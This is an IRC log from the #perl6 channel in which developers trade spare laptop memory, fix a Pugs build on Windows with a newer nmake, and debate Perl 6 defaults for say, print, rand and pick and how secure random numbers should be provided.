18:27 lambdabot Consider it noted.
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18:45 nothingmuch does anybody want 1gb of ram (PC2700, laptop dimms) in two 512mb sticks?
18:47 weinig joined perl6
18:47 Limbic_Region well, I am not sure it would be worth the trouble
18:49 * Limbic_Region checks to verify his laptop can take the memory
18:52 Limbic_Region nothingmuch - if no one else pipes up, I will be happy to take them though getting you the $ for shipping might not be so easy
18:52 nothingmuch tell you what, you can buy me an amazon wishlist item
18:52 nothingmuch if it makes you feel guilty
18:57 nothingmuch Limbic_Region: fwiw lumi is also interested
18:58 fglock joined perl6
18:58 nothingmuch maybe i can send a stick to each
18:58 Limbic_Region nothingmuch - then I retract my interest
18:58 lumi I think I could only take one stick..
18:59 nothingmuch lumi: you have 1x 512 in your mac?
18:59 nothingmuch audreyt++
19:00 lumi Yes
19:00 nothingmuch are we scheduled to meet sometime soon?
19:00 nothingmuch if not i'll mail you the one stick
19:00 nothingmuch Limbic_Region: 512 x 1 could still help, right?
19:02 nothingmuch Limbic_Region: please @tell me when you've made up your mind (my connection is unstable so /msg might not get thorugh)... I'm off to a friend's house
19:04 Limbic_Region @tell nothingmuch no, my memory has to be added in pairs but I really do appreciate it
19:04 lambdabot Consider it noted.
19:05 Gothmog_ joined perl6
19:05 nothingmuch if it has to be added in pairs it's probably not compatible
19:05 lambdabot nothingmuch: You have 1 new message. '/msg lambdabot @messages' to read it.
19:05 nothingmuch this type can be mixed and matched, IIRC
19:05 nothingmuch *poof*
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20:06 obra seen audreyt
20:06 jabbot obra: audreyt was seen 5 hours 3 minutes 36 seconds ago
20:07 * Limbic_Region rubs his eyes to make sure he isn't seeing things
20:07 Limbic_Region hey obra
20:10 obra hey
20:18 ingy hi obra
20:19 obra hey ingy
20:27 lypanov this makes me want to cry
20:27 lypanov http://lukeplant.me.uk/blog.php?id=1107301645
20:27 lambdabot Title: Why learning Haskell/Python makes you a worse programmer
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20:42 rindolf Hi all!
20:42 SamB what!
20:42 * SamB has to read this
20:45 lypanov i agree partially, the thing that makes me want to cry is the idea that he thinks his functional c# solution is anywhere near as efficient as the horrible version
20:46 * lypanov sighs
20:48 rindolf Hi lypanov
20:49 lypanov heya rindolf :)
20:49 rindolf lypanov: what's up?
20:49 leo 22:48 <@coke> ping obra
20:49 leo 22:48 <@coke> Can we get purl back in here?
20:49 leo # recently on #parrot
20:50 obra hm. I'm not the keeper thereof
20:50 obra but lemme see what I can do
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21:33 lanny joined perl6
21:33 lanny Limbic_Region: ping
21:33 lambdabot lanny: You have 1 new message. '/msg lambdabot @messages' to read it.
21:33 lanny @messages
21:33 lambdabot Limbic_Region said 3h 5m 39s ago: I have Cygwin but do not use it for Pugs. I use ActiveState Perl 5.8.8, MinGW, and GHC (binary install preferred)
21:34 rindolf ingy: ping
21:36 penk joined perl6
21:41 ingy hi rindolf
21:46 lypanov omgitsalmost12night
21:46 lypanov left perl6
21:47 rindolf Hi ingy
21:47 rindolf ingy: did you upload IO::All yet?
21:47 ingy not yet
21:48 rindolf ingy: I see.
21:48 ingy attempting it now
21:52 ingy rindolf: found a mistake in META.yml
21:52 ingy this is why I hate releasing modules (and don't trust it to others)
21:52 ingy some day I'll fix this release process (again)
21:55 lanny @tell audreyt Pugs::Doc::Hack refers to grabbing Bundle::Pugs::SmokeKit rather than Task::Smoke
21:55 lambdabot Consider it noted.
21:56 * ingy imagines rindolf executing a hostage for each day he fails to release IO::All
21:59 Limbic_Region lanny - if you have any issues, please let me know
22:02 svnbot6 r14375 | lanny++ | * TASKS - remove "runpugs" as task and insert pugs/misc/runpugs/TODO
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22:03 ingy dang!
22:04 ingy rindolf I just released IO::All
22:04 ingy hope he isn't mad
22:11 clkao ingy: rarr!
22:15 lanny Anyone have any experience building pugs on win32 using MinGW and ActiveState?
22:18 lanny @tell Limbic_Region Got MinGW, ActiveState, Subversion, pugs co.  Dieing on nmake to build.  It tries to use cmd.exe and chokes on a too-long command line.  Any suggestions?
22:18 lambdabot Consider it noted.
22:18 [particle] lanny: what version of nmake? the old ones (1.* have that problem)
22:19 lanny Aha.  1.5
22:19 lanny Seemed to come as part of Activestate Perl.  Where do I find a later?
22:20 [particle] well, i have 7.10, which came with visual studio
22:21 [particle] as far as i know, the only way to get a newer one is to download something like ms visual studio 2005 express and use that one
22:21 [particle] i don't know if someone has packaged a recent nmake seperately
22:21 lanny ewww
22:21 [particle] like i said, i don't know. i haven't had to look for it, you see :)
22:22 Limbic_Region lanny - you are using nmake 1.5
22:22 lambdabot Limbic_Region: You have 1 new message. '/msg lambdabot @messages' to read it.
22:22 Limbic_Region @messages
22:22 lambdabot lanny said 4m 6s ago: Got MinGW, ActiveState, Subversion, pugs co. Dieing on nmake to build. It tries to use cmd.exe and chokes on a too-long command line. Any suggestions?
22:22 lanny I am.  From Activestate
22:22 Limbic_Region that wasn't a question, it was a statement
22:22 Limbic_Region that's the problem
22:22 lanny :)
22:22 Limbic_Region hang on, will try and get you something more recent
22:23 Limbic_Region do you have a feather acct?
22:23 lanny I do
22:23 Limbic_Region I will just put it in my home directory with all read access
22:23 [particle] the old nmake distos were just two files
22:23 [particle] nmake.exe and nmake.err
22:23 [particle] perhaps that'll work with a recent one, too
22:26 Limbic_Region lanny - done
22:26 Limbic_Region see /home/limbic/nmake.exe
22:26 lanny Limbic_Region++
22:26 lanny [particle]++ for good measure
22:26 Limbic_Region well, gaal++ too since that's who I got it from
22:28 Limbic_Region [particle] - the executable is standalone so if you know someone who has gone through the trouble of getting it in the large bulky bundle
22:28 Limbic_Region then you are all set
22:28 [particle] great, you'll leave it there then?
22:28 Limbic_Region yes
22:29 Limbic_Region feel free to tell anyone with a feather acct where they can get it
22:29 Limbic_Region but I won't be posting on the web where google can index it
22:29 Limbic_Region likely frowned upon in general
22:29 [particle] :)
22:29 [particle] which version is it?
22:30 Limbic_Region 7 something
22:30 Limbic_Region just a sec
22:30 [particle] great
22:30 Limbic_Region 7.10.3077.0
22:34 lanny Ok.  Can delete it.  Still having troubles with pscp but moved it to my ~
22:36 lanny Odd.  MinGW doesn't want to run pscp but works fine in cmd.exe
22:36 Limbic_Region what is the proper fu to get ls to print out times other than mtime ?
22:37 wolverian --time=foo
22:37 wolverian I'm not sure if you can make it print more than one time. hm.
22:37 wolverian anyway, good night :)
22:37 Limbic_Region thanks - TTFN
22:37 lanny nmake++.  Working.
22:37 Limbic_Region ;-)
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23:06 bsb does a bare say or print still default to $_ these days?
23:07 [particle] i think you need .say or .print but i'm not sure
23:07 bsb that's what I thought (& pugs), but S04 has old style examples
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23:20 Limbic_Region ?eval $_ = "blah"; say
23:20 evalbot_r14373 is now known as evalbot_r14375
23:20 evalbot_r14375 OUTPUT[␤] Bool::True
23:20 Limbic_Region ?eval $_ = "blah"; .say
23:20 evalbot_r14375 OUTPUT[blah␤] Bool::True
23:20 TimToady bsb: not anymore. :)
23:20 Limbic_Region it appears pugs' say defaults to empty string though .say does the right thing
23:21 TimToady (assuming my ci ever commits...)
23:22 TimToady well, say by itself should probably just print a newline.
23:22 TimToady and print by itself prints a null string...
23:22 TimToady on the other hand, it's likely to be a common error.
23:23 TimToady so for now we could certainly make print fail on 0 args, I expect.
23:25 bsb syntactically, rather than something that evaluates to 0 args
23:25 TimToady could even force people to use print "\n" to print newline instead of empty say.
23:25 TimToady yeah, syn
23:25 TimToady not sem
23:25 TimToady OR we could just make the dwtm
23:26 TimToady *them
23:26 TimToady but I kinda like the .print discipline
23:27 TimToady pity that .rand can't default to rand(1)
23:27 TimToady well, not without setting $_ to 1...
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23:28 TimToady on the other hand, picking a random int will probably end up with a different idiom: ^$max.pick or some such.
23:29 TimToady hmm, that doesn't work
23:29 TimToady would have to be (^$max).pick.  .ick.
23:30 TimToady pick ^$max then
23:30 TimToady pick 1..100
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23:32 TimToady or we could do away with the optional argument to rand and use "int 3*rand"
23:33 jojo 0|3*rand
23:33 TimToady do you mean (0|3)*rand?
23:33 jojo i mean 0| instead of int
23:34 TimToady I you trying to do a bitwise or?
23:34 TimToady *are you
23:34 jojo bitwise or with 0 is noop, but the side effect is the same as int()
23:35 TimToady but this is #perl6, so it'd have to be 0+|
23:35 jojo ouch
23:35 TimToady since bitwise or is now dehuffmanized to +| or ~| or ?|
23:35 TimToady depending on whether you want numeric or stringwise or boolean.
23:36 TimToady and | is stolen for junctions
23:36 TimToady if $a == 1 | 2 | 3
23:36 TimToady which will be a lot more common in P6 than bitops.
23:36 TimToady given case statements look like:
23:37 TimToady when 1 | 2 | 3  {...}
23:38 TimToady anyway, int is a lot clearer, and that's usually better unless you're golfing it.
23:38 bsb (I didn't know p5's ref defaulted to $_, how embarassing...)
23:38 lanny ?eval say 5.rand()
23:38 evalbot_r14375 OUTPUT[4.305245104898988␤] Bool::True
23:38 TimToady ?eval say 5.rand.int
23:38 evalbot_r14375 OUTPUT[2␤] Bool::True
23:39 jojo thanks TimToady, that was very understanding
23:40 TimToady ?eval pick ^5
23:40 evalbot_r14375 1.0
23:40 TimToady ?eval pick ^100
23:40 evalbot_r14375 44.0
23:41 TimToady p6's ref defaults to not existing.  :)
23:42 jojo don't we need separate methods for repeatable rand and for secure rand?
23:43 TimToady usually that's handled by srand.
23:43 TimToady ?eval srand 42; pick ^100
23:43 evalbot_r14375 71.0
23:43 TimToady ?eval srand 42; pick ^100
23:44 evalbot_r14375 71.0
23:44 jojo when i strace perl5 srand it reads exactly 32bits from /dev/urandom
23:44 TimToady well, there's secure, and then there's secure...
23:44 jojo that is nowhere near enough to produce random session keys
23:45 lanny Use some library for secure random.  rand() is pretty much an int.
23:45 lanny Or open up /dev/u?random and read the number of bits you need.
23:46 TimToady "/dev/urandom".slurp   :)
23:46 jojo i know how to do it.  but i think it is becoming important enough that it ought to be better handled in the core language
23:46 lanny heh.  Yeah but then you have to wave your mouse around.  Or is /dev/random the one with limited entropy?  Never can remember.
23:47 jojo urandom is the non-blocking one, in linux
23:47 lanny Why handle it in core when libraries work and then you can choose from so many implementations?
23:48 jojo same argument as putting random in the kernel
23:48 lanny I'm hoping that $*RANDGEN becomes the default random object.  Then anyone you wanted that did Rand could be installed.
23:48 jojo even quite good programmers might not be able to tell good random generators from bad ones
23:49 TimToady what you want is some kind of interface for requesting a random number generator that is good enough
23:49 jojo so it is one thing arguably better done in core than in cpan
23:49 lanny I would hope that even quite good programmers aren't trusting a random generator they don't *know* is good for secure apps though.
23:50 TimToady we need CPUs with radium
23:50 lanny And just because it's in core or kernel still doesn't mean it's known good.
23:51 jojo radium, exactly, but then we need a path through the kernel into perl
23:51 TimToady heck, just embed the radium directly into Perl...
23:51 jojo otherwise you offer the programmer a choice between radium and x^y mod z
23:52 lanny Well.  Pugs currently uses a linear congruential.
23:53 TimToady false dichotomy if the kernel has any other timed connections to the real world.
23:53 lanny Because it relies on Haskell
23:53 TimToady since the real world is known to exhibit quantum indeterminacy from time to time.  :)
23:53 jojo there are platforms where you can't trust the kernel
23:53 lanny How random do you want, jojo?  Math::Random::Kiss passes all of DIEHARD and does Rand
23:54 jojo but the kernel is the best place for random
23:54 clkao
23:54 TimToady grr, monocultures...
23:56 TreyHarris ?eval pick 33..77
23:56 evalbot_r14375 Error: pick not defined: VInt 33
23:56 TreyHarris what's that mean?
23:56 lanny ?eval pick: 33..77
23:56 evalbot_r14375 (33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77)
23:56 lanny heh
23:56 jojo actually, i have built a transistor-junction noise source, for connection to a soundcard
23:56 TreyHarris ?eval pick (33..77)
23:56 evalbot_r14375 41
23:57 jojo and i am handling that totally in userland
23:57 TreyHarris ?eval (pick 33)..77
23:57 evalbot_r14375 Error: pick not defined: VInt 33
23:57 TreyHarris oh... that's equivalent to (pick 33)..77?
23:57 TreyHarris that's... very unintuitive
23:57 TimToady pick: goto pick;
23:57 jojo but i really think most people will get better results from the kernel
23:59 thepler joined perl6

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